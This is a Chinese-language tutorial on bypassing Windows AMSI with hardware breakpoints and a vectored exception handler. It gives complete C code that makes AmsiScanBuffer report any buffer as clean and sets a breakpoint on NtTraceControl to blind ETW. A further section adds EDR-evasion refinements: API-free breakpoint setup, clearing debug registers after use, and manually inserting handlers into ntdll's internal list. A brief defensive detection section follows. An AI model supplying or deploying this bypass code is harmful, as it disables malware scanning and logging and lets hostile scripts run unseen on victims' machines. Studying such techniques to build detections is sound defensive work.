AMSI对抗技术
字数 2882
更新时间 2026-05-10 17:58:43
AMSI对抗技术:基于硬件断点与向量化异常处理的绕过方法教学文档
1. 技术背景
AMSI (Antimalware Scan Interface) 是微软在2015年随Windows 10推出的反恶意软件扫描接口。它为第三方安全产品提供了统一的扫描接口,专门用于检测无文件攻击和脚本类威胁。AMSI的核心函数是AmsiScanBuffer,负责将内存中的内容提交给安全引擎进行扫描。
攻击者为对抗AMSI的检测,不断演进绕过技术。本文重点讲解一种不修改内存、隐蔽性高的新型绕过技术。
2. 传统AMSI Bypass技术的局限性
最直接的绕过方法是直接修改AmsiScanBuffer函数在内存中的代码,例如将其第一条指令改为ret指令(原始字节4C 8B DC修改为C3)。
这种方法的缺点:
- 需要修改内存页权限:必须调用
VirtualProtect或NtProtectVirtualMemory将代码页改为可写(RWX),而这两个API调用本身就会被EDR监控 - 破坏内存完整性:EDR会周期性地对比磁盘上amsi.dll和内存中的代码段hash,一旦发现不一致立即报警
- 对应MITRE ATT&CK T1562.001:这种"动手关安全组件"的行为属于"削弱防御:禁用或修改工具",是EDR最敏感的告警之一
3. 新型绕过技术原理
3.1 技术核心组件
3.1.1 硬件断点(Hardware Breakpoints)
- 根据Intel 64和IA-32架构软件开发者手册,CPU提供4个调试地址寄存器(DR0-DR3)
- 可设置最多4个硬件断点,当CPU执行到断点地址时,会在该指令执行之前触发调试异常
- DR7寄存器用于控制这些断点的启用和类型
- 重要限制:调试寄存器是特权资源,用户态进程无法通过
MOV DR0, RAX这样的指令直接修改
3.1.2 向量化异常处理(VEH)
- Windows提供VEH(Vectored Exception Handler)机制
- 可注册回调函数,当程序发生异常时,系统会先调用该函数处理
- 硬件断点被触发时,CPU抛出单步异常(
EXCEPTION_SINGLE_STEP,异常码0x80000004) - 系统会将以下两样东西交给VEH handler:
- 异常信息(哪个地址触发)
- 当前线程的CPU状态(
CONTEXT结构体,包含所有寄存器的值)
关键特性:CONTEXT结构体是可写的,修改后系统恢复执行时会使用修改过的值。这意味着可以:
- 修改RIP寄存器,使其指向其他地址
- 修改RAX寄存器,控制函数返回值
- 函数还未执行就被劫持,而内存中的代码一个字节都未改动
3.2 技术实现流程
第一步:注册VEH处理单步异常
// 注册VEH回调函数,专门处理EXCEPTION_SINGLE_STEP
AddVectoredExceptionHandler(1, (PVECTORED_EXCEPTION_HANDLER)Handler);
- 参数1表示插到VEH链表最前面,优先级最高
- 断点命中后的所有操作都在回调函数中实现
第二步:设置调试寄存器
由于无法直接操作调试寄存器,需要通过CONTEXT结构体间接修改:
- 获取线程的
CONTEXT结构体 - 修改其中的Dr0/Dr1/Dr7字段
- 通过
SetThreadContext(底层走ntdll!NtSetContextThread系统调用)将修改后的CONTEXT应用到线程
第三步:实现Bypass逻辑
在AmsiScanBuffer上设置硬件断点,当该函数被调用时:
- CPU在函数第一条指令执行前触发单步异常
- VEH回调函数被调用
- 在回调函数中修改线程上下文,实现跳过扫描
4. 完整代码实现解析
4.1 核心代码结构
#include <windows.h>
// 全局变量定义
PVOID g_pNtTraceControl = NULL;
PVOID g_pAmsiScanBuffer = NULL;
// VEH异常处理函数
LONG CALLBACK Handler(PEXCEPTION_POINTERS pExceptionInfo) {
PCONTEXT context = pExceptionInfo->ContextRecord;
// 检查是否是单步异常
if (pExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
ULONG_PTR exceptionAddress = (ULONG_PTR)pExceptionInfo->ExceptionRecord->ExceptionAddress;
// 处理AmsiScanBuffer断点
if (exceptionAddress == (ULONG_PTR)g_pAmsiScanBuffer) {
// 获取第6个参数(AMSI_RESULT*),位于Rsp+48
PULONG puAmsiResult = *(PULONG*)(context->Rsp + 48);
// 写入AMSI_RESULT_CLEAN(0),表示"没有恶意"
*puAmsiResult = AMSI_RESULT_CLEAN;
// 跳过整个AmsiScanBuffer函数
ULONG_PTR returnAddress = *(ULONG_PTR*)context->Rsp;
context->Rip = returnAddress; // 修改RIP为调用者的返回地址
context->Rsp += 8; // 调整栈指针
// 设置RAX为S_OK(0),表示"执行成功"
context->Rax = S_OK;
// 恢复执行
return EXCEPTION_CONTINUE_EXECUTION;
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
4.2 主函数实现
int main(int argc, char* argv[]) {
HMODULE hNtDll = GetModuleHandleA("ntdll.dll");
HMODULE hAmsiDll = NULL;
// 第1步:注册VEH
AddVectoredExceptionHandler(1, (PVECTORED_EXCEPTION_HANDLER)Handler);
// 第2步:获取当前线程的调试寄存器状态
CONTEXT contextThread = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
GetThreadContext(GetCurrentThread(), &contextThread);
// 清零,从干净状态开始
contextThread.Dr0 = 0;
contextThread.Dr1 = 0;
contextThread.Dr7 = 0;
// 第3步:设置ETW断点(Dr0)
g_pNtTraceControl = GetProcAddress(hNtDll, "NtTraceControl");
contextThread.Dr0 = (ULONG_PTR)g_pNtTraceControl; // Dr0 = 目标地址
contextThread.Dr7 |= 0x1; // bit 0 = 启用Dr0
// 第4步:设置AMSI断点(Dr1)
hAmsiDll = LoadLibraryA("amsi.dll");
g_pAmsiScanBuffer = GetProcAddress(hAmsiDll, "AmsiScanBuffer");
contextThread.Dr1 = (ULONG_PTR)g_pAmsiScanBuffer; // Dr1 = 目标地址
contextThread.Dr7 |= 0x4; // bit 2 = 启用Dr1
// 第5步:立即激活断点
typedef NTSTATUS(NTAPI* PFN_NtContinue)(PCONTEXT ThreadContext, BOOLEAN RaiseAlert);
PFN_NtContinue pfnNtContinue = (PFN_NtContinue)GetProcAddress(hNtDll, "NtContinue");
pfnNtContinue(&contextThread, FALSE);
// 第6步:验证bypass效果
HAMSICONTEXT hAmsiContext;
AMSI_RESULT amsiResult;
if (SUCCEEDED(AmsiInitialize(L"TestApp", &hAmsiContext))) {
LPCSTR szEicar = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
HRESULT hr = AmsiScanBuffer(hAmsiContext, (PVOID)szEicar, (ULONG)strlen(szEicar),
L"Test", NULL, &amsiResult);
if (SUCCEEDED(hr)) {
printf("[+] AMSI result: 0x%08X\n", (DWORD)amsiResult);
}
AmsiUninitialize(hAmsiContext);
}
FreeLibrary(hAmsiDll);
return 0;
}
5. 技术优势分析
- 零内存修改:不修改
AmsiScanBuffer函数的任何内存字节 - 不触发内存完整性告警:EDR对比磁盘和内存hash时不会发现差异
- 无需修改内存页权限:避免了调用
VirtualProtect等敏感API - 使用合法机制:整个过程使用的都是Windows和CPU的合法机制:
- 硬件调试寄存器(Intel/AMD CPU标准特性)
- VEH(Windows官方异常处理机制)
- CONTEXT结构体(系统标准结构)
6. 技术改进与防御规避
6.1 当前PoC的潜在问题
- ETW日志记录:使用
GetThreadContext+NtContinue设置断点会被内核记录到ETW日志中 - 断点残留:Bypass完成后Dr1和Dr7仍为非零值,EDR扫描线程时可发现异常
- API调用检测:
AddVectoredExceptionHandler等API可能被EDR hook
6.2 改进方案
方案一:用VEH²替换NtContinue
- 先调用
DebugBreak()触发异常 - 在异常回调中直接修改CONTEXT的Dr0/Dr7字段
- 不调用任何API,内核日志中无记录
方案二:及时清理断点
- 在handler中处理完异常后,立即将Dr1/Dr7清零
- 使EDR后续扫描时看不到断点设置
方案三:手动注册VEH
- 不调用
AddVectoredExceptionHandler - 直接找到ntdll内部的
LdrpVectorHandlerList链表 - 自己构造节点并插入链表
- 避开API hook检测
7. 技术细节解析
7.1 栈帧布局与参数访问
在x64调用约定中:
- Rsp + 0 = 返回地址
- Rsp + 8 到 Rsp + 38 = shadow space
- Rsp + 40 = 第5个参数
- Rsp + 48 = 第6个参数(AMSI_RESULT*)
因此可以通过*(PULONG*)(context->Rsp + 48)访问AmsiScanBuffer的第6个参数。
7.2 控制流劫持原理
// 获取调用者的返回地址
ULONG_PTR returnAddress = *(ULONG_PTR*)context->Rsp;
context->Rip = returnAddress; // 修改指令指针
context->Rsp += 8; // 平衡栈帧
- 将RIP设置为调用者的返回地址,直接跳过
AmsiScanBuffer函数的执行 - 调整RSP保持栈平衡
7.3 返回值伪造
context->Rax = S_OK; // 函数返回值为S_OK(0)
*puAmsiResult = AMSI_RESULT_CLEAN; // 扫描结果为"干净"
- RAX寄存器存储函数返回值,设置为
S_OK表示成功 - 直接修改AMSI_RESULT参数,设为
AMSI_RESULT_CLEAN
8. 防御检测建议
8.1 检测点
- 异常监控:监控频繁的
EXCEPTION_SINGLE_STEP异常 - 调试寄存器检查:定期扫描线程的Dr0-Dr7寄存器
- VEH链检查:监控异常的VEH注册
- CONTEXT修改检测:监控线程上下文的异常修改
8.2 缓解措施
- 控制流完整性:实施CFG(Control Flow Guard)等控制流完整性保护
- 行为监控:监控异常的程序行为模式
- 深度检测:结合多维度信号进行综合判断
9. 总结
本文详细分析了基于硬件断点和向量化异常处理的AMSI绕过技术。该技术通过CPU硬件特性实现零内存修改的防御绕过,相比传统内存patch方法具有更高的隐蔽性。理解该技术的原理、实现细节及改进方向,对于攻防双方都具有重要意义。防御方需从异常监控、行为分析等多维度构建检测体系,而攻击方则需不断演进技术以规避检测。
相似文章
相似文章